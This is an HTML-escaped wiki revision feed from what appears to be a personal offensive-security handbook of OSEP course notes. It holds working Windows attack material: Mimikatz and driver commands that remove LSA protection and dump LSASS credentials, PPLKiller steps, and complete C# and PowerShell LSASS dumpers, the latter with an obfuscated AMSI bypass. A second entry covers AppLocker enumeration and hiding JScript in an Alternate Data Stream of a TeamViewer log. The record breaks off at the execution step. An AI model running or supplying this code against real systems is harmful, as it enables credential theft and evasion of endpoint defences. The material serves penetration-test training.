* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2365</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2365"/>
		<updated>2026-05-21T07:52:28Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* SAM database */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
